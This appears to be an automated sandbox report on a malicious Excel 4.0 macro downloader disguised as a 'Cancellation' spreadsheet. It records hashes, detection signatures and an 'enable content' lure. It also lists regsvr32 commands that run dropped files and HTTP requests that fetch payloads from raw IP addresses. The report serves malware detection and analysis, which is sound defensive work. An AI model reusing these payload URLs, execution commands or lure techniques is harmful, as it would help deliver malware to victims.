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Analysis Report Cancellation_1844611233_06082021.xlsm

Overview

General Information

Sample Name:	Cancellation_1844611233_06082021.xlsm
Analysis ID:	431666
MD5:	245c3e542030fb5f37cc1786c6d2ad52
SHA1:	d3659467af26b5cf1773b69bd6b9820b1b777dcb
SHA256:	72da5a8ba62bc25dfbe12f189664117f79db3fcf2d539e3b1f8abc3923e8a2ea
Tags:	xlsm
Infos:
Most interesting Screenshot:

Detection

Hidden Macro 4.0

Score:	76
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Yara detected Obfuscated Macro In XLSM

Document exploit detected (UrlDownloadToFile)

Document exploit detected (process start blacklist hit)

Sigma detected: Microsoft Office Product Spawning Windows Shell

Allocates a big amount of memory (probably used for heap spraying)

Excel documents contains an embedded macro which executes code when the document is opened

IP address seen in connection with other malware

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Tries to load missing DLLs

Uses a known web browser user agent for HTTP communication

Classification

Process Tree

System is w10x64

EXCEL.EXE (PID: 5184 cmdline: 'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /automation -Embedding MD5: 5D6638F2C8F8571C593999C58866007E)

regsvr32.exe (PID: 4952 cmdline: regsvr32 -s ..\Post.storg MD5: 426E7499F6A7346F0410DEAD0805586B)

regsvr32.exe (PID: 5368 cmdline: regsvr32 -s ..\Post.storg1 MD5: 426E7499F6A7346F0410DEAD0805586B)

regsvr32.exe (PID: 4876 cmdline: regsvr32 -s ..\Post.storg2 MD5: 426E7499F6A7346F0410DEAD0805586B)

cleanup

Malware Configuration

No configs have been found

Yara Overview

Initial Sample

Source	Rule	Description	Author	Strings
intlsheet4.xml	JoeSecurity_ObfuscatedMacroInXLSM	Yara detected Obfuscated Macro In XLSM	Joe Security

Sigma Overview

System Summary:

Sigma detected: Microsoft Office Product Spawning Windows Shell

Show sources

Source: Process started

Author: Michael Haag, Florian Roth, Markus Neis, Elastic, FPT.EagleEye Team: Data: Command: regsvr32 -s ..\Post.storg, CommandLine: regsvr32 -s ..\Post.storg, CommandLine|base64offset|contains: ,, Image: C:\Windows\SysWOW64\regsvr32.exe, NewProcessName: C:\Windows\SysWOW64\regsvr32.exe, OriginalFileName: C:\Windows\SysWOW64\regsvr32.exe, ParentCommandLine: 'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /automation -Embedding, ParentImage: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE, ParentProcessId: 5184, ProcessCommandLine: regsvr32 -s ..\Post.storg, ProcessId: 4952

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Multi AV Scanner detection for submitted file

Show sources

Source: Cancellation_1844611233_06082021.xlsm	Virustotal: Detection: 26%			Perma Link
Source: Cancellation_1844611233_06082021.xlsm	ReversingLabs: Detection: 32%

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File opened: C:\Windows\SysWOW64\MSVCR100.dll

Jump to behavior

Software Vulnerabilities:

Document exploit detected (UrlDownloadToFile)

Show sources

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

Section loaded: \KnownDlls32\WININET.dll origin: URLDownloadToFileA

Jump to behavior

Document exploit detected (process start blacklist hit)

Show sources

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

Process created: C:\Windows\SysWOW64\regsvr32.exe

Source: excel.exe

Memory has grown: Private usage: 1MB later: 85MB

Source: global traffic

TCP traffic: 192.168.2.3:49696 -> 103.155.92.95:80

Source: global traffic

TCP traffic: 192.168.2.3:49696 -> 103.155.92.95:80

Source: Joe Sandbox View

IP Address: 51.89.115.125 51.89.115.125

Source: global traffic	HTTP traffic detected: GET /44356.2323287037.dat HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 103.155.92.95Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /44356.2323287037.dat HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 51.89.115.125Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.92.95
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.92.95
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.92.95
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.92.95
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 51.89.115.125
Source: unknown	TCP traffic detected without corresponding DNS query: 51.89.115.125
Source: unknown	TCP traffic detected without corresponding DNS query: 51.89.115.125
Source: unknown	TCP traffic detected without corresponding DNS query: 51.89.115.125
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.92.95
Source: unknown	TCP traffic detected without corresponding DNS query: 51.89.115.125
Source: unknown	TCP traffic detected without corresponding DNS query: 51.89.115.125
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.92.95

Source: global traffic	HTTP traffic detected: GET /44356.2323287037.dat HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 103.155.92.95Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /44356.2323287037.dat HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 51.89.115.125Connection: Keep-Alive

System Summary:

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Show sources

Source: Document image extraction number: 0	Screenshot OCR: Enable editing button from the yellow bar above Once you have enabled editing, please click Enabl
Source: Document image extraction number: 0	Screenshot OCR: Enable Content button from the yellow bar above
Source: Document image extraction number: 1	Screenshot OCR: Enable editing button from the yellow bar above Once you have enabled editing, please click Enabl
Source: Document image extraction number: 1	Screenshot OCR: Enable Content button from the yellow bar above

Source: workbook.xml

Binary string: <workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x15 xr xr6 xr10 xr2" xmlns:x15="http://schemas.microsoft.com/office/spreadsheetml/2010/11/main" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xmlns:xr10="http://schemas.microsoft.com/office/spreadsheetml/2016/revision10" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2"><fileVersion appName="xl" lastEdited="7" lowestEdited="6" rupBuild="22730"/><workbookPr/><mc:AlternateContent xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006"><mc:Choice Requires="x15"><x15ac:absPath url="C:\Users\Admin\Desktop\" xmlns:x15ac="http://schemas.microsoft.com/office/spreadsheetml/2010/11/ac"/></mc:Choice></mc:AlternateContent><xr:revisionPtr revIDLastSave="0" documentId="13_ncr:1_{4B72C346-643F-4012-BBC8-4BEF893AE02B}" xr6:coauthVersionLast="45" xr6:coauthVersionMax="45" xr10:uidLastSave="{00000000-0000-0000-0000-000000000000}"/><bookViews><workbookView xWindow="-120" yWindow="-120" windowWidth="29040" windowHeight="15990" xr2:uid="{00000000-000D-0000-FFFF-FFFF00000000}"/></bookViews><sheets><sheet name="Sheet" sheetId="2" r:id="rId1"/><sheet name="nowik" sheetId="13" state="hidden" r:id="rId2"/><sheet name="1rtgvrt" sheetId="3" state="hidden" r:id="rId3"/><sheet name="2dfgv" sheetId="4" state="hidden" r:id="rId4"/><sheet name="3fescvaer" sheetId="5" state="hidden" r:id="rId5"/><sheet name="4scdac" sheetId="6" state="hidden" r:id="rId6"/><sheet name="5fetaert" sheetId="7" state="hidden" r:id="rId7"/><sheet name="6vrtgarga" sheetId="8" state="hidden" r:id="rId8"/><sheet name="7rvgasdg" sheetId="9" state="hidden" r:id="rId9"/><sheet name="8aevgadrg" sheetId="10" state="hidden" r:id="rId10"/><sheet name="9rrvrv" sheetId="11" state="hidden" r:id="rId11"/><sheet name="10vghsdrb" sheetId="12" state="hidden" r:id="rId12"/></sheets><definedNames><definedName name="_xlnm.Auto_Open">'10vghsdrb'!$A$2</definedName></definedNames><calcPr calcId="191029"/><extLst><ext uri="{140A7094-0E35-4892-8432-C4D2E57EDEB5}" xmlns:x15="http://schemas.microsoft.com/office/spreadsheetml/2010/11/main"><x15:workbookPr chartTrackingRefBase="1"/></ext><ext uri="{B58B0392-4F1F-4190-BB64-5DF3571DCE5F}" xmlns:xcalcf="http://schemas.microsoft.com/office/spreadsheetml/2018/calcfeatures"><xcalcf:calcFeatures><xcalcf:feature name="microsoft.com:RD"/><xcalcf:feature name="microsoft.com:FV"/></xcalcf:calcFeatures></ext></extLst></workbook>

Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: sfc.dll	Jump to behavior

Source: classification engine

Classification label: mal76.expl.evad.winXLSM@7/7@0/3

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File created: C:\Users\user\Desktop\~$Cancellation_1844611233_06082021.xlsm

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\{6A9B2592-A526-4F67-899A-DEFE9DA07620} - OProcSessId.dat

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\SysWOW64\regsvr32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Cancellation_1844611233_06082021.xlsm	Virustotal: Detection: 26%
Source: Cancellation_1844611233_06082021.xlsm	ReversingLabs: Detection: 32%

Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE 'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /automation -Embedding
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process created: C:\Windows\SysWOW64\regsvr32.exe regsvr32 -s ..\Post.storg
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process created: C:\Windows\SysWOW64\regsvr32.exe regsvr32 -s ..\Post.storg1
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process created: C:\Windows\SysWOW64\regsvr32.exe regsvr32 -s ..\Post.storg2
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process created: C:\Windows\SysWOW64\regsvr32.exe regsvr32 -s ..\Post.storg	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process created: C:\Windows\SysWOW64\regsvr32.exe regsvr32 -s ..\Post.storg1	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process created: C:\Windows\SysWOW64\regsvr32.exe regsvr32 -s ..\Post.storg2	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: Cancellation_1844611233_06082021.xlsm	Initial sample: OLE zip file path = xl/printerSettings/printerSettings2.bin
Source: Cancellation_1844611233_06082021.xlsm	Initial sample: OLE zip file path = xl/printerSettings/printerSettings3.bin
Source: Cancellation_1844611233_06082021.xlsm	Initial sample: OLE zip file path = xl/printerSettings/printerSettings4.bin
Source: Cancellation_1844611233_06082021.xlsm	Initial sample: OLE zip file path = xl/printerSettings/printerSettings5.bin
Source: Cancellation_1844611233_06082021.xlsm	Initial sample: OLE zip file path = xl/printerSettings/printerSettings6.bin

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File opened: C:\Windows\SysWOW64\MSVCR100.dll

Jump to behavior

Data Obfuscation:

Yara detected Obfuscated Macro In XLSM

Show sources

Source: Yara match

File source: intlsheet4.xml, type: SAMPLE

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: regsvr32.exe, 00000003.00000002.268714686.0000000003EE0000.00000002.00000001.sdmp, regsvr32.exe, 00000004.00000002.270702878.00000000043B0000.00000002.00000001.sdmp	Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: regsvr32.exe, 00000003.00000002.268714686.0000000003EE0000.00000002.00000001.sdmp, regsvr32.exe, 00000004.00000002.270702878.00000000043B0000.00000002.00000001.sdmp	Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: regsvr32.exe, 00000003.00000002.268714686.0000000003EE0000.00000002.00000001.sdmp, regsvr32.exe, 00000004.00000002.270702878.00000000043B0000.00000002.00000001.sdmp	Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: regsvr32.exe, 00000003.00000002.268714686.0000000003EE0000.00000002.00000001.sdmp, regsvr32.exe, 00000004.00000002.270702878.00000000043B0000.00000002.00000001.sdmp	Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Scripting1	DLL Side-Loading1	Process Injection1	Masquerading1	OS Credential Dumping	Security Software Discovery1	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	Non-Application Layer Protocol1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Exploitation for Client Execution22	Boot or Logon Initialization Scripts	DLL Side-Loading1	Disable or Modify Tools1	LSASS Memory	File and Directory Discovery1	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Application Layer Protocol11	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Extra Window Memory Injection1	Process Injection1	Security Account Manager	System Information Discovery2	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Ingress Tool Transfer1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Scripting1	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	DLL Side-Loading1	LSA Secrets	Remote System Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Extra Window Memory Injection1	Cached Domain Credentials	System Owner/User Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
Cancellation_1844611233_06082021.xlsm	26%	Virustotal		Browse
Cancellation_1844611233_06082021.xlsm	33%	ReversingLabs	Script.Downloader.EncDoc

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://103.155.92.95/44356.2323287037.dat	0%	Avira URL Cloud	safe
http://51.89.115.125/44356.2323287037.dat	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

No contacted domains info

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://103.155.92.95/44356.2323287037.dat	false	Avira URL Cloud: safe	unknown
http://51.89.115.125/44356.2323287037.dat	false	Avira URL Cloud: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
103.155.92.95	unknown	unknown	134687	TWIDC-AS-APTWIDCLimitedHK	false
51.89.115.125	unknown	France	16276	OVHFR	false
45.144.31.105	unknown	United Kingdom	42994	HQservCommunicationSolutionsIL	false

General Information

Joe Sandbox Version:	32.0.0 Black Diamond
Analysis ID:	431666
Start date:	09.06.2021
Start time:	05:33:35
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 5m 8s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	Cancellation_1844611233_06082021.xlsm
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Run name:	Potential for more IOCs and behavior
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal76.expl.evad.winXLSM@7/7@0/3
EGA Information:	Failed
HDC Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .xlsm Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Scroll down Close Viewer
Warnings:	Show All Exclude process from analysis (whitelisted): taskhostw.exe, MpCmdRun.exe, SgrmBroker.exe, conhost.exe, svchost.exe, UsoClient.exe Not all processes where analyzed, report is missing behavior information

Simulations

Behavior and APIs

No simulations

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
103.155.92.95	Cancellation_1844611233_06082021.xlsm	Get hash	malicious	Browse
51.89.115.125	Cancellation_1844611233_06082021.xlsm	Get hash	malicious	Browse	51.89.115.125/44356.227524537.dat
	275a4797_by_Libranalysis.xlsx	Get hash	malicious	Browse	51.89.115.125/44337.843103588.dat
	275a4797_by_Libranalysis.xlsx	Get hash	malicious	Browse	51.89.115.125/44337.8380305556.dat
	e43014f7_by_Libranalysis.xlsx	Get hash	malicious	Browse	51.89.115.125/44335.7228642361.dat
	e43014f7_by_Libranalysis.xlsx	Get hash	malicious	Browse	51.89.115.125/44335.717878125.dat
	Debt-Details-689802216-05132021.xlsm	Get hash	malicious	Browse	51.89.115.125/44333.6516760417.dat
	Debt-Details-689802216-05132021.xlsm	Get hash	malicious	Browse	51.89.115.125/44333.642149537.dat
	OHTwo9pVp7.xlsx	Get hash	malicious	Browse	51.89.115.125/44330.4712299769.dat
	OHTwo9pVp7.xlsx	Get hash	malicious	Browse	51.89.115.125/44330.4665063657.dat
	Debt-Details-717769301-05132021.xlsm	Get hash	malicious	Browse	51.89.115.125/44330.0182956019.dat
	Debt-Details-717769301-05132021.xlsm	Get hash	malicious	Browse	51.89.115.125/44330.013627662.dat
	Debt-Details-1329792461-05132021.xlsm	Get hash	malicious	Browse	51.89.115.125/44329.8506186343.dat
	Debt-Details-1329792461-05132021.xlsm	Get hash	malicious	Browse	51.89.115.125/44329.8456546296.dat
45.144.31.105	Cancellation_1844611233_06082021.xlsm	Get hash	malicious	Browse

Domains

No context

ASN

